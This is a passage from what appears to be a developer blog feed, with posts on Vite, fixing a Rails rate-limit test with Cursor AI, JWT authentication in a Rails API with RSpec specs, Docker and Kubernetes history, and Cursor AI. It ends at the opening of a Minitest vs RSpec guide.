  2. DevTools: vueDevTools() – Vue debugging tools
  3. Alias: @ points to src/ folder (that’s why you can import from '@/types/user')

Vite Commands:

npm run dev     # Start development server (fast)
npm run build   # Build for production (optimized)
npm run preview # Preview production build locally

Benefits for your project:

✅ Fast Development: Instant server start, fast updates

✅ Vue Support: Built-in .vue file handling

✅ TypeScript: Native TypeScript support

✅ Hot Reload: Changes appear instantly

✅ Modern: Uses latest web standards

✅ Small Bundle: Optimized production builds

Why choose Vite over alternatives:

  • Speed: 10-100x faster than Webpack in development
  • Simplicity: Minimal configuration needed
  • Modern: Uses native ES modules
  • Popular: Adopted by Vue, React, Svelte communities
  • Maintained: Actively developed by Vue team

Vite has been massively adopted across the frontend ecosystem! Here are the major users:

🏗️ Frontend Frameworks

Official Support:

  • Vue 3 – Vite is the default build tool
  • React – create-vite templates available
  • Svelte – SvelteKit uses Vite
  • Solid.js – Official Vite integration
  • Lit – Web Components framework
  • Preact – Lightweight React alternative

🌐 Major Companies & Products

Tech Giants:

  • Google – Uses Vite for internal projects
  • Shopify – Hydrogen (React framework)
  • GitLab – Frontend build tooling
  • Alibaba – Various frontend projects
  • ByteDance – Internal tooling

Popular Tools & Platforms:

  • Storybook – Component development
  • Vitest – Testing framework (built by Vite team)
  • Nuxt 3 – Vue.js framework
  • SvelteKit – Svelte’s app framework
  • Astro – Static site generator
  • Fresh – Deno’s web framework

📊 Framework Templates

When you create new projects:

# React
npm create vite@latest my-react-app -- --template react-ts

# Vue  
npm create vue@latest my-vue-app

# Svelte
npm create svelte@latest my-svelte-app

# Solid
npm create solid@latest my-solid-app

🏢 Enterprise Adoption

Startups to Fortune 500:

  • Stripe – Payment processing UI
  • Discord – Web client components
  • Notion – Web application parts
  • Linear – Project management tool
  • Vercel – Frontend development platform
  • Netlify – JAMstack platform

📈 Usage Statistics (2024)

  • NPM Downloads: 30+ million/month
  • GitHub Stars: 65,000+
  • Community: 400+ contributors
  • Framework Support: 20+ official templates

🔧 Meta-Frameworks Using Vite

Nuxt 3      → Vue + Vite
SvelteKit   → Svelte + Vite  
SolidStart  → Solid + Vite
Astro       → Multi-framework + Vite
Qwik City   → Qwik + Vite

💼 Why Companies Choose Vite

  1. Developer Experience: 10-100x faster development
  2. Performance: Smaller bundles, faster builds
  3. Modern: Native ES modules, latest standards
  4. Flexibility: Works with any framework
  5. Maintenance: Actively maintained by Evan You’s team
  6. Ecosystem: Rich plugin ecosystem

Setup 🛠 Rails 8 App – Part 17: Fix Github actions, Mini-test 🗜️ Test Cases With Cursor AI ➘

Hello friends, in this post lets look into the issues we faced after integrating:

  1. Sessions for users (sign in functionality)
  2. Order, Order items models and the related code base

Check our Github actions failure cases here: https://github.com/MIRA-Designs/design_studio/actions/runs/14953772366/job/42006659413?pr=31

What is working?

  • Rubocop linting checks
  • Test cases – Fails
  • Brakeman security scan – Pending

Why the issue?

I made a mistake of integrating the sessions with Order and Order items model (I used the help of Co-piolet for improvement). I have only written the test cases for sessions. Why I made this mistake? Because for last some days the development was not happening in our design_studio project. So I was curious to do so many things at a time and I cannot control myself 🙂

Now what’s next?

Let’s solve the test cases issues. First I cannot get ‘why this test cases for Rate limit issue is happening’. I have to research on this. I want to try Cursor – how it works with these kind of scenarios. Cursor provide me details about exact issue in our test cases and updated for me. I was happy that I saved some time.

Let’s see What is the findings of cursor:

The current test case has few issues:

  1. It’s testing for 11 attempts, but the rate limit is set to 10 attempts. We should test that the 11th attempt is rate limited, but also verify that the first 10 attempts work as expected.
  2. We should verify that the rate limiting is time-based (within 1 minute) by testing that after waiting, the rate limit resets.

Fix the test case:

Cursor updated the test case to properly test the rate limiting functionality. Here’s what the improved test does:

  1. First, it makes 10 attempts and verifies that each attempt gets the normal “invalid credentials” response
  2. Then it makes the 11th attempt and verifies that it gets rate limited with the “Try again later” message
  3. Finally, it uses Rails’ travel helper to move forward in time past the rate limit window (1 minute + 1 second) and verifies that the rate limit has been reset by making another attempt

This test now properly verifies:

  • The rate limit threshold (10 attempts)
  • The rate limit behavior (redirect with “Try again later” message)
  • The rate limit duration (1 minute)
  • The rate limit reset after the time window expires

The test is now more thorough and matches the actual implementation in the SessionsController.

Run the test case with the fix:

Failure:
SessionsControllerTest#test_should_rate_limit_login_attempts [test/controllers/sessions_controller_test.rb:34]:
--- expected
+++ actual
@@ -1 +1 @@
-"Try again later."
+"Try another email address or password."

the problem is that the rate limiting is happening at the controller level using rate_limit, but our test isn’t properly simulating real-world timing. Let me modify the test to ensure we’re making the requests within the 1-minute window and properly testing the rate limiting.

We fixed it and still the issues are not solved:

# Running:
F
Failure:
SessionsControllerTest#test_should_rate_limit_login_attempts [test/controllers/sessions_controller_test.rb:36]:
--- expected
+++ actual
@@ -1 +1 @@
-"Try again later."
+"Try another email address or password."

bin/rails test test/controllers/sessions_controller_test.rb:23

The issue may be with our SessionsController rate_limit directive. That is not working in test environment. I had this doubt. Let’s see what cursor tell us regarding this:

Looking at the SessionsController, the rate limiting is implemented using Rails’ rate_limit macro, but it seems the rate limiting might not be working as expected in the test environment. Let’s try to debug this by checking if we need to enable rate limiting in the test environment or if there’s a different approach needed.

Cursor suggested Rails cache setup and wipe out cache:

require "test_helper"

class SessionsControllerTest < ActionDispatch::IntegrationTest
  setup do
    # Use memory store for rate limiting in tests
    Rails.cache = ActiveSupport::Cache::MemoryStore.new
  end

  teardown do
    Rails.cache.clear
  end

  ......

The test environment is configured to use :null_store for caching, which means rate limiting won’t work. Let’s modify the test environment configuration:

environments/test.rb:

- config.cache_store = :null_store
+ config.cache_store = :memory_store

Cursor made two important changes:

  1. Changed the test environment’s cache store from :null_store to :memory_store to ensure rate limiting works properly
  2. Added a consistent IP address in the test requests using 
    headers: { REMOTE_ADDR: “192.168.1.1” } 
    since rate limiting is typically done based on the client’s IP address

The test should now work correctly because:

  1. We have proper caching enabled in the test environment
  2. We’re using a consistent IP address for all requests, which is what rate limiting typically uses to track requests
  3. We’re still maintaining the time window with travel_to and travel
  4. The cache is cleared between tests to ensure a clean state

Try running the test again – it should now properly detect when the rate limit is exceeded on the 11th request.

Running 5 tests in a single process (parallelization threshold is 50)
Run options: --seed 55394

# Running:
.

Finished in 1.222473s, 0.8180 runs/s, 28.6305 assertions/s.
1 runs, 35 assertions, 0 failures, 0 errors, 0 skips
Coverage report generated for Unit Tests to /Users/abhilash/rails/design_studio/public/coverage.
Line Coverage: 21.37% (81 / 379)

Works!! Cursor – you beauty.

Let us see why the fix worked:

  1. The main issue was that the test environment was using :null_store for caching, which effectively disabled all caching. Since Rails’ rate limiting feature relies on caching to track request counts, it wasn’t working properly.
  2. By changing to :memory_store, we enabled proper caching in the test environment, allowing the rate limiting to track requests.
  3. Adding the consistent IP address (REMOTE_ADDR: “192.168.1.1”) in the test requests was also important because Rails’ rate limiting typically uses the client’s IP address as part of the cache key to track requests per client.
  4. The test structure ensures clean state by:
  • Using setup to initialize a fresh cache store for each test
  • Using teardown to clear the cache after each test
  • Using travel_to to ensure consistent timing for rate limit windows
  • Using consistent IP addresses for request tracking

This is a good example of how testing rate limiting requires careful consideration of the entire environment, including caching, timing, and request attributes. The test now properly verifies that:

  • Users can make up to 10 attempts within a minute
  • The 11th attempt gets rate limited
  • After waiting for a minute, they can try again

I may need some more time to get the fact that: “Rails’ rate limiting feature relies on caching to track request counts”. Here is the importance of AI tool like cursor. It saved a lot of my debugging time.

Guide: Rails 8 API Application – Authentication 🔐 mechanisms | Sample Rails API app with Rspec Test cases

When building a Rails API app, you typically need token-based authentication instead of cookie-based sessions (which are more common in full-stack Rails apps). Here are the most common authentication mechanisms you can use in a Rails API-only application:

🔐 1. Token-Based Authentication

Most Common & Recommended for APIs

a. JWT (JSON Web Tokens)

  • Gems: jwt, knock, devise-jwt
  • How it works: After login, the server issues a JWT token which the client must include in the Authorization header (Bearer <token>) in subsequent requests.
  • Pros:
    • Stateless, scalable.
    • Widely supported across mobile and frontend frameworks.
  • Cons:
    • Tokens can’t be invalidated easily without extra measures (e.g., a blacklist).

b. Token-based Auth with Devise + TokenAuthenticatable

  • Gems: devise_token_auth
  • Uses Devise under the hood.
  • Stores tokens on the server (in DB), enabling logout and token revocation.
  • Compatible with React Native and SPAs.

🔐 2. OAuth 2.0 / OmniAuth (for Third-party Logins)

  • Gems: omniauth, doorkeeper
  • Use when you want users to log in via:
    • Google
    • Facebook
    • GitHub
  • Doorkeeper is often used to implement OAuth 2 provider (if you’re exposing your API to other apps).
  • Best when integrating external identity providers.

🔐 3. API Key Authentication

  • Useful for machine-to-machine communication or when exposing APIs to third-party developers.
  • Each user/client is assigned a unique API key.
  • Example: Authorization: Token token=abc123
  • You store the API key in the DB and verify it on each request.
  • Lightweight and easy to implement.

🔐 4. HTTP Basic Authentication

  • Simple and built-in with Rails (authenticate_or_request_with_http_basic).
  • Not suitable for production unless combined with HTTPS and only used for internal/testing tools.

👉🏻 Choosing the Right Auth Mechanism

Use CaseRecommended Method
Mobile app or frontend SPAJWT (devise-jwt / knock)
Internal API between servicesAPI key
Want email/password with token authdevise_token_auth
External login via Google/GitHubomniauth + doorkeeper
OAuth2 provider for third-party devsdoorkeeper
Quick-and-dirty internal authHTTP Basic Auth

🔄 How JWT Authentication Works — Step by Step

1. User Logs In

  • The client (e.g., React app, mobile app) sends a POST /login request with email/password.
  • Your Rails API validates the credentials.
  • If valid, it generates a JWT token and sends it back to the client.
{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

2. Client Stores the Token

  • The client stores the token in localStorage, sessionStorage, or memory (for SPAs), or a secure storage for mobile apps.

3. Client Sends Token on Requests

  • For any subsequent request to protected resources, the client includes the JWT in the Authorization header:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

4. Server Verifies the Token

  • Rails extracts the token, decodes it using a secret key, and verifies:
    • The signature is valid.
    • The token is not expired.
    • The user ID (or sub claim) is valid.

If everything checks out, the request is allowed to proceed.

5. Token Expiration

  • Tokens usually include an exp (expiration) claim, e.g., 15 minutes, 1 hour, etc.
  • After expiration, the client must log in again or use a refresh token flow if supported.

🔒 Security: Is JWT Secure?

JWT can be secure, if used correctly. Here’s a breakdown:

✅ Security Benefits

FeatureWhy It Helps
StatelessNo session storage needed; scales easily
SignedThe token is signed (HMAC or RSA), so it can’t be tampered with
CompactSent in headers; easy to pass around
Exp claimTokens expire automatically after a period

⚠️ Security Considerations

IssueDescriptionMitigation
Token theftIf an attacker steals the token, they can impersonate the user.Always use HTTPS. Avoid storing tokens in localStorage if possible.
No server-side revocationTokens can’t be invalidated until they expire.Use short-lived access tokens + refresh tokens or token blacklist (DB).
Long token lifespanLonger expiry means higher risk if leaked.Keep exp short (e.g., 15–30 min). Use refresh tokens if needed.
Poor secret handlingIf your secret key leaks, anyone can forge tokens.Store your JWT_SECRET in environment variables, never in code.
JWT stored in localStorageSusceptible to XSS attacks in web apps.Use HttpOnly cookies when possible, or protect against XSS.
Algorithm confusionAttacker could force a weak algorithm.Always validate the algorithm (alg) on decoding. Use only HMAC or RSA.

🧪 Example Token (Decoded)

A typical JWT has three parts:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyX2lkIjoxLCJleHAiOjE3MDAwMDAwMDB9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Breakdown:

  1. Header (Base64-encoded JSON)
{
  "alg": "HS256",
  "typ": "JWT"
}

  1. Payload
{
  "user_id": 1,
  "exp": 1700000000
}

  1. Signature
  • HMAC-SHA256 hash of header + payload + secret key.

🛡 Best Practices for JWT in Rails API

  • Use devise-jwt or knock to handle encoding/decoding securely.
  • Set short token lifetimes (exp claim).
  • Use HTTPS only.
  • Consider implementing refresh tokens for session continuation.
  • Avoid token storage in localStorage unless you trust your frontend.
  • Rotate secrets periodically (invalidate tokens when secrets change).

Now Let’s create a sample Rails API application and test what we learned.

🧱 Sample Rails API web app: Prerequisites

  • A Rails 8 app with --api mode enabled: rails new my_api_app --api
  • A User model with email and password_digest.
  • We’ll use bcrypt for password hashing.

✅ Step 1: Add Required Gems

In your Gemfile:

gem 'jwt'
gem 'bcrypt'

Then run:

bundle install

✅ Step 2: Generate the User Model

rails g model User email:string password_digest:string
rails db:migrate

In app/models/user.rb:

class User < ApplicationRecord
  has_secure_password
end

Now you can create users with secure passwords.

✅ Step 3: Create JWT Helper Module

Create a service object or helper to encode/decode tokens.

app/lib/json_web_token.rb (create the lib folder if needed):

# app/lib/json_web_token.rb
class JsonWebToken
  SECRET_KEY = Rails.application.credentials.secret_key_base

  def self.encode(payload, exp = 24.hours.from_now)
    payload[:exp] = exp.to_i
    JWT.encode(payload, SECRET_KEY)
  end

  def self.decode(token)
    decoded = JWT.decode(token, SECRET_KEY)[0]
    HashWithIndifferentAccess.new(decoded)
  rescue JWT::DecodeError => e
    nil
  end
end

✅ Step 4: Create the Authentication Controller

rails g controller auth

app/controllers/auth_controller.rb:

class AuthController < ApplicationController
  def login
    user = User.find_by(email: params[:email])

    if user&.authenticate(params[:password])
      token = JsonWebToken.encode(user_id: user.id)
      render json: { token: token }, status: :ok
    else
      render json: { error: 'Invalid credentials' }, status: :unauthorized
    end
  end
end

✅ Step 5: Protect Other Endpoints with Authentication

Make a reusable authenticate_request method.

app/controllers/application_controller.rb:

class ApplicationController < ActionController::API
  before_action :authenticate_request

  attr_reader :current_user

  private

  def authenticate_request
    header = request.headers['Authorization']
    token = header.split(' ').last if header.present?

    if token
      decoded = JsonWebToken.decode(token)
      @current_user = User.find_by(id: decoded[:user_id]) if decoded
    end

    render json: { error: 'Unauthorized' }, status: :unauthorized unless @current_user
  end
end

Now all your controllers inherit this behaviour unless you skip_before_action.

✅ Step 6: Add Routes

config/routes.rb:

Rails.application.routes.draw do
  post '/login', to: 'auth#login'

  get '/profile', to: 'users#profile' # Example protected route
end

✅ Step 7: Example Protected Controller

rails g controller users

app/controllers/users_controller.rb:

class UsersController < ApplicationController
  def profile
    render json: { id: current_user.id, email: current_user.email }
  end
end

🧪 Test It Out (Example)

Step 1: Create a User (via Rails Console)

User.create!(email: "test@example.com", password: "password123")

Step 2: Login via POST /login

POST /login
Content-Type: application/json

{
  "email": "test@example.com",
  "password": "password123"
}

Response:

{ "token": "eyJhbGciOi..." }

Step 3: Use Token in Authenticated Request

GET /profile
Authorization: Bearer eyJhbGciOi...

🔒 Extras You Might Add Later

  • Token expiration errors
  • Refresh tokens
  • Token revocation (e.g., a blacklist table)
  • Roles/permissions inside the token (e.g., admin claims)

Let’s now write RSpec tests for the JWT-based authentication flow we just set up in your Rails API app.

Assumptions

  • You already have:
    • A User model with email and password_digest
    • An AuthController with login
    • A UsersController with a protected profile action
    • JWT auth logic in JsonWebToken

🔧 Step 1: Add RSpec & Factory Bot

In your Gemfile (if not already added):

group :development, :test do
  gem 'rspec-rails'
  gem 'factory_bot_rails'
end

group :test do
  gem 'faker'
end

Then install:

bundle install
rails generate rspec:install


🏭 Step 2: Setup Factory for User

spec/factories/users.rb:

FactoryBot.define do
  factory :user do
    email { Faker::Internet.email }
    password { 'password123' }
    password_confirmation { 'password123' }
  end
end


🧪 Step 3: Auth Request Specs

spec/requests/auth_spec.rb:

require 'rails_helper'

RSpec.describe 'Authentication', type: :request do
  let!(:user) { create(:user, password: 'password123') }

  describe 'POST /login' do
    context 'with valid credentials' do
      it 'returns a JWT token' do
        post '/login', params: { email: user.email, password: 'password123' }

        expect(response).to have_http_status(:ok)
        expect(JSON.parse(response.body)).to include('token')
      end
    end

    context 'with invalid credentials' do
      it 'returns unauthorized' do
        post '/login', params: { email: user.email, password: 'wrong' }

        expect(response).to have_http_status(:unauthorized)
        expect(JSON.parse(response.body)).to include('error')
      end
    end
  end
end


🔒 Step 4: Profile (Protected) Request Specs

spec/requests/users_spec.rb:

require 'rails_helper'

RSpec.describe 'Users', type: :request do
  let!(:user) { create(:user) }
  let(:token) { JsonWebToken.encode(user_id: user.id) }

  describe 'GET /profile' do
    context 'with valid token' do
      it 'returns user profile' do
        get '/profile', headers: { 'Authorization' => "Bearer #{token}" }

        expect(response).to have_http_status(:ok)
        json = JSON.parse(response.body)
        expect(json['email']).to eq(user.email)
      end
    end

    context 'without token' do
      it 'returns unauthorized' do
        get '/profile'
        expect(response).to have_http_status(:unauthorized)
      end
    end

    context 'with invalid token' do
      it 'returns unauthorized' do
        get '/profile', headers: { 'Authorization' => 'Bearer invalid.token' }
        expect(response).to have_http_status(:unauthorized)
      end
    end
  end
end

📦 Final Tips

  • Run tests with: bundle exec rspec
  • You can stub JsonWebToken.decode in unit tests if needed to isolate auth logic.


The Container ⛴️ Revolution: How Docker 🐳 Transformed Dev & What’s Ahead

Containerization has reshaped the way we build, ship, and run applications. From simplifying dependency management to enabling micro-services architectures at scale, containers and orchestration platforms like Kubernetes have become cornerstones of modern DevOps. In this post, we’ll explore:

  1. What are containers, and what is containerization?
  2. A brief history and evolution of Kubernetes.
  3. Docker: what it is, how it works, and why it matters.
  4. When Docker emerged and the context before and after.
  5. The impact on the development lifecycle.
  6. Docker’s relevance in 2025 and beyond.
  7. Use cases: when to use—or avoid—Docker.
  8. Feature evolution in Docker.
  9. The future of Docker and containerization in web development.
  10. Where Do Developers Get Containers? How Do They Find the Right Ones?
  11. What Is Docker Hub? How Do You Use It?
  12. Can You Use Docker Without Docker Hub?

1. What Are Containers ⛴️ and What Is Containerization?

  • Containers are lightweight, standalone units that package an application’s code along with its dependencies (libraries, system tools, runtime) into a single image.
  • Containerization is the process of creating, deploying, and running applications within these containers.
  • Unlike virtual machines, containers share the host OS kernel and isolate applications at the process level, resulting in minimal overhead, rapid startup times, and consistent behavior across environments.

Key benefits of containerization

  • Portability: “Build once, run anywhere” consistency across dev, test, and prod.
  • Efficiency: Higher density—hundreds of containers can run on a single host.
  • Isolation: Separate dependencies and runtime environments per app.
  • Scalability: Containers can be replicated and orchestrated quickly.

2. ☸️ Kubernetes: A Brief History and Evolution

  • Origins (2014–2015): Google donated its internal Borg system concepts to the Cloud Native Computing Foundation (CNCF), and Kubernetes 1.0 was released in July 2015.
  • Key milestones:
    • 2016–2017: Rapid ecosystem growth—Helm (package manager), StatefulSets, DaemonSets.
    • 2018–2019: CRDs (Custom Resource Definitions) and Operators enabled richer automation.
    • 2020–2022: Focus on security (Pod Security Admission), multi-cluster federation (KubeFed), and edge computing.
    • 2023–2025: Simplified configurations (Kustomize built-in), tighter GitOps integrations, serverless frameworks (Knative).

Why Kubernetes matters

  • Automated scheduling & self-healing: Pods restart on failure; replicas ensure availability.
  • Declarative model: Desired state is continuously reconciled.
  • Extensibility: CRDs and Operators let you automate almost any workflow.

3. What Is Docker 🐳 and How It Works?

  • Docker is an open-source platform introduced in 2013 that automates container creation, distribution, and execution.
  • Core components:
    • Dockerfile: Text file defining how to build your image (base image, dependencies, commands).
    • Docker Engine: Runtime that builds, runs, and manages containers.
    • Docker Hub (and other registries): Repositories for sharing images.

How Docker works

  1. Build: docker build reads a Dockerfile, producing a layered image.
  2. Ship: docker push uploads the image to a registry.
  3. Run: docker run instantiates a container from the image, leveraging Linux kernel features (namespaces, cgroups) for isolation.

4. When Did Docker Emerge, and Why?

  • Launch: March 13, 2013, with the first open-source release of Docker 0.1 by dotCloud (now Docker, Inc.).
  • Why Docker?
    • Prior container tooling (LXC) was fragmented and complex.
    • Developers needed a standardized, user-friendly workflow for packaging apps.
    • Docker introduced a simple CLI, robust image layering, and a vibrant community ecosystem almost overnight.

5. Scenario Before and After Docker: Shifting the Development Lifecycle ♻️

AspectBefore DockerAfter Docker
Environment parity“It works on my machine” frustrations.Identical containers in dev, test, prod.
Dependency hellManual installs; conflicts between apps.Encapsulated in image layers; side-by-side.
CI/CD pipelinesCustom scripts per environment.Standard docker builddocker run steps.
ScalingVM spin-ups with heavy resource use.Rapid container spin-up, minimal overhead.
IsolationLesser isolation; port conflicts.Namespace and cgroup isolation per container.

Docker transformed workflows by making builds deterministic, tests repeatable, and deployments faster—key enablers of continuous delivery and microservices.


6. Should We Use Docker in 2025?

Absolutely—Docker (and its underlying container technologies) remains foundational in 2025:

  • Cloud-native architectures place containers at their core.
  • Serverless platforms often run functions inside containers (AWS Lambda, Azure Functions).
  • Edge deployments leverage containers for lightweight, consistent runtimes.
  • Developer expectations: Instant local environments via docker-compose.

However, the ecosystem has matured, and alternatives like Podman (daemonless) and lightweight sandboxing (Firecracker VMs) also coexist.


7. When to Use or Not Use Docker

Use CaseDocker Fits Well?Notes
Microservices / APIs✔ YesIndividual services packaged and scaled independently.
Monolithic apps✔ Generally beneficialSimplifies env setup, but added container overhead may be minimal.
High-load, high-latency apps✔ Yes, with orchestration (K8s).Autoscaling, rolling updates, resource quotas critical.
Simple frontend only apps✔ YesServe static assets via lightweight Nginx container.
Legacy desktop-style apps⚠️ MaybeMight add unnecessary complexity if no cloud target.

Key considerations

  • Use Docker for consistent environments, CI/CD integration, and horizontal scaling.
  • Avoid Docker when low latency on bare metal is paramount, or where container overhead cannot be tolerated (e.g., certain HPC workloads).

8. Is Docker Evolving? Key Feature 🧩Highlights

Docker continues to innovate:

  • Rootless mode (runs without root privileges) for enhanced security.
  • BuildKit improvements for faster, cache-efficient image builds.
  • Docker Extensions for community-driven tooling inside the Docker Desktop UI.
  • Improved Windows support with Windows containers and WSL2 integrations.
  • OCI compliance: Better compatibility with other runtimes (runc, crun) and registries.

9. Is Docker Needed for Future Web Development? What’s Next?

  • Containerization as standard: Even if Docker itself evolves or gives way to new runtimes, the model of packaging apps in isolated, immutable units is here to stay.
  • Serverless + containers: The blending of function-as-a-service and container workloads will deepen.
  • Edge computing: Tiny, specialized containers will power IoT and edge gateways.
  • Security focus: Sandboxing (gVisor, Firecracker) and supply-chain scanning will become default.

While tooling names may shift, the core paradigm—lightweight, reproducible application environments—remains indispensable.


10. Where Do Developers Get Containers? How Do They Find the Right Ones?

Developers get containers in the form of Docker images, which are blueprints for running containers.

These images can come from:

  • Docker Hub (most popular)
  • Private registries like GitHub Container Registry, AWS ECR, Google Container Registry, etc.
  • Custom-built images using Dockerfile

When looking for the right image, developers usually:

  • Search Docker Hub or other registries (e.g., redis, nginx, node, postgres)
  • Use official images, which are verified and maintained by Docker or vendors
  • Use community images, but carefully—check for:
    • Dockerfile transparency
    • Recent updates
    • Number of pulls and stars
    • Trust status (verified publisher)

Example search:
If you want Redis:

docker search redis


11. What Is Docker Hub? How Do You Use It?

Docker Hub is Docker’s official cloud-based registry service where:

  • Developers publish, store, share, and distribute container images.
  • It hosts both public (free and open) and private (restricted access) repositories.

Key Features:

  • Official images (e.g., python, mysql, ubuntu)
  • User & org accounts
  • Web UI for managing repositories
  • Pull/push image support
  • Image tags (e.g., node:18-alpine)

Basic usage:

🔍 Find an image
You can search on https://hub.docker.com or via CLI:

docker search nginx

📥 Pull an image

docker pull nginx:latest

▶️ Run a container from it

docker run -d -p 80:80 nginx

📤 Push your image

  1. Log in:
docker login

  1. Tag and push:
docker tag myapp myusername/myapp:1.0  
docker push myusername/myapp:1.0


12. Can You Use Docker Without Docker Hub?

Yes, absolutely!
You don’t have to use Docker Hub if you prefer alternatives or need a private environment.

Alternatives:

  • Private Docker Registry: Host your own with registry:2 image docker run -d -p 5000:5000 --name registry registry:2
  • GitHub Container Registry (GHCR)
  • Amazon ECR, Google GCR, Azure ACR
  • Harbor – open-source enterprise container registry

Use case examples:

  • Enterprise teams: often use private registries for security and control.
  • CI/CD pipelines: use cloud provider registries like ECR or GCR for tighter cloud integration.
  • Offline deployments: air-gapped environments use custom registries or local tarball image transfers.

✅ Summary

QuestionAnswer
Where do devs get containers?From Docker Hub, private registries, or by building their own images.
What is Docker Hub?A public registry for discovering, pulling, and sharing Docker images.
Can Docker work without Docker Hub?Yes—via self-hosted registries or cloud provider registries.

Conclusion

From Docker’s debut in 2013 to Kubernetes’ rise in 2015 and beyond, containerization has fundamentally altered software delivery. In 2025, containers are ubiquitous: in microservices, CI/CD, serverless platforms, and edge computing. Understanding when—and why—to use Docker (or its successors) is critical for modern developers. As the ecosystem evolves, containerization principles will underpin the next generation of web and cloud-native applications.

Happy Dockerizing! 🚀


What Is Cursor🧊 AI? Why It’s Changing the Way We Code 👨🏻‍💻 in 2025

In a world increasingly defined by intelligent automation, Cursor AI has emerged as a next-generation AI-powered code editor redefining how developers – from beginners to seasoned experts – build software. Imagine an editor like VS Code but powered by the intelligence of ChatGPT, designed to help you think, debug, and code faster. Cursor AI is that vision realized.

In this post, we’ll explore:

  • What Cursor AI is
  • How it evolved
  • How to install Cursor AI on your MacBook
  • Why it matters today
  • How development feels with vs without Cursor AI
  • Pros and cons
  • How it affects experienced vs new developers
  • Best practices for experienced developers using it

Check our first post about cursor here: https://railsdrop.com/2025/04/11/evolution-cursor-ai-overview-install-macos/


🧠 What Is Cursor AI?

Cursor AI is a developer-first AI code editor, built on top of Visual Studio Code, with AI deeply integrated into the editing experience. It’s designed to work contextually – meaning it doesn’t just generate generic code snippets, it understands your codebase, folder structure, and logic.

Key features:

  • Context-aware AI coding assistant
  • Instant code refactoring
  • Inline documentation generation
  • Bug fixing suggestions
  • Built-in ChatGPT-style panel
  • AI code generation for entire files, functions, or blocks

In essence, it turns your editor into a pair programmer that understands your exact project.


🧬 The Evolution of Cursor AI

The journey of Cursor AI started with the rise of GitHub Copilot and ChatGPT in 2022–2023. As these tools showed the value of AI-assisted development, developers demanded more context-aware, editor-native, and codebase-integrated AI tooling.

As of 29 April 2025, ~40% of code committed by professional engineers using Cursor is generated by Cursor!

Timeline of Evolution:

  1. 2023: VS Code extensions like Copilot led the charge in AI-assisted code completion.
  2. Late 2023: ChatGPT APIs brought conversational code help into tools.
  3. 2024: Cursor AI launched with the vision of full-context development, integrating the editor with ChatGPT and file-tree understanding.
  4. 2025: Cursor AI adds real-time debugging help, AI test generation, and full-project understanding with minimal configuration.

Cursor AI wasn’t just a plugin—it was a full-blown editor that replaces VS Code and integrates AI from the ground up.

Check below for the words of Google CEO Sundar Pichai:

✨ Check google’s Veo 3 – An art video generated-model


💻 How to Install Cursor AI on macOS

Installing Cursor AI on your MacBook is easy.

Step-by-Step Installation:

  1. Go to the official website: https://www.cursor.so
  2. Click “Download for macOS”
  3. Once the .dmg file is downloaded, open it and drag the Cursor app to Applications.
  4. Open the app. You may need to give permissions via System Settings > Privacy & Security.
  5. Log in using your GitHub or Google account.
  6. Optionally connect your OpenAI API key (for custom models or paid usage).

Cursor AI will sync your settings like any modern IDE, and you’re ready to go!


🌐 Why Cursor AI Matters in the Modern Coding Era

Software development is no longer just about writing code—it’s about writing good, secure, and maintainable code faster. Cursor AI helps with:

  • 🚀 Speed: Complete entire components in seconds
  • 🧠 Knowledge: Understands your codebase like a team member
  • 🐞 Debugging: Pinpoints issues and suggests fixes
  • 🧪 Testing: Helps write unit tests and specs instantly
  • ✍️ Docs: Auto-generates internal documentation

In the AI-assisted future of work, tools like Cursor AI aren’t optional—they’re multipliers.


🆚 Development With vs. Without Cursor AI

FeatureWith Cursor AIWithout Cursor AI
Code generationInstantly generated with contextManual and slower
Bug fixingOne-click suggestionsManual debugging, Stack Overflow
Learning curveSmooth with AI helpSteeper, especially for beginners
DocumentationAuto-generated inline docsTime-consuming, often skipped
RefactoringAssisted refactors in secondsManual, error-prone
AI integrationNative and seamlessPlugin-based or absent

The difference is stark: with Cursor AI, coding feels like a team sport—even if you’re solo.


Advantages and Disadvantages of Cursor AI

✅ Advantages:

  • Full codebase context for suggestions
  • Conversational AI built into the IDE
  • Quick refactors and fixes
  • Makes pair programming obsolete
  • Beginner-friendly with pro-level capabilities

❌ Disadvantages:

  • Limited to Cursor editor (not VS Code extension)
  • May over-rely on AI for thinking/debugging
  • Occasional hallucinations or wrong suggestions
  • Internet connection required
  • Premium features may require subscription or OpenAI key

👶 Freshers vs 🧠 Experienced Developers: How Cursor AI Affects Them

For Freshers:

  • Pros:
    • Less intimidating learning experience
    • AI explains code and errors
    • Boosts confidence and learning speed
  • Cons:
    • May hinder learning fundamentals if overused
    • Risk of blindly accepting AI suggestions

For Experienced Developers:

  • Pros:
    • Supercharges productivity
    • Speeds up prototyping and testing
    • Handles boilerplate and repetitive tasks
  • Cons:
    • Still requires strong judgment to verify AI output
    • Context overload may cause distraction if unmanaged

🧩 How Experienced Developers Can Fully Utilize Cursor AI

Here’s a practical strategy:

✅ Do:

  1. Use AI for context-aware code completions—especially for large files.
  2. Refactor in seconds by selecting blocks and using the AI menu.
  3. Write test specs from user stories with the help of the chat assistant.
  4. Ask AI to explain or find bugs across files or functions.
  5. Generate documentation, migration files, or even setup scripts.

❌ Don’t:

  • Rely solely on AI for business logic or architecture decisions
  • Accept code blindly—always review suggestions
  • Skip writing your own tests
  • Forget to version control your AI-generated changes

Pro Tip 💡:

Use AI for what it’s best at—pattern recognition and code generation—but keep the human creativity and design decisions in your hands.


✨ Final Thoughts

Cursor AI is not just a trend – it’s a transformation. It represents a shift toward context-aware, AI-first development environments that do more than autocomplete – they collaborate.

Whether you’re a Rails engineer, a React hacker, or a full-stack product builder, Cursor AI is like adding a genius teammate to your IDE.


🧱 Up Next: Building a Rails + React App Using Cursor AI

In the next blog post, we’ll build a full Rails + React app from scratch using Cursor AI—watch how it writes your models, React components, routes, and tests like magic.


Stay tuned! 🚀

📕 Guide: Mini-test 🧪 VS Rspec 🔬 in Rails Applications

When choosing between RSpec and Minitest for writing tests in a Ruby on Rails application, both are solid options, but the best choice depends on your project goals, team preferences, and ecosystem alignment.

♦️ Use RSpec if:

  • You want a rich DSL for expressive, readable tests (describe, context, it, etc.).
  • You’re working on a large project or with a team familiar with RSpec.
  • You want access to a larger ecosystem of gems/plugins (e.g., FactoryBot, Shoulda Matchers).
